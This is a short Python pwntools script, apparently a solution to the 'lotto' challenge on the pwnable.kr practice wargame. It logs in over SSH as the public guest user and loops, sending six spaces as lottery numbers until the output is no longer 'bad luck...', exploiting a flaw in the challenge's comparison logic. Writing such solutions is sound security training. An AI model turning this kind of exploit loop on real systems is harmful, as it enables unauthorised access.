#!/usr/bin/env python
from pwn import *

server = ssh('lotto', 'pwnable.kr', 2222, 'guest')
io = server.process('./lotto')

Found = False

while not Found:
	for _ in range(4):
		io.recvline()
	io.sendline('1')
	io.sendline('      ')
	io.recvline()
	result = io.recvline(False)
	if result != 'bad luck...':
		Found = True


io.close()
server.close()
print(result)
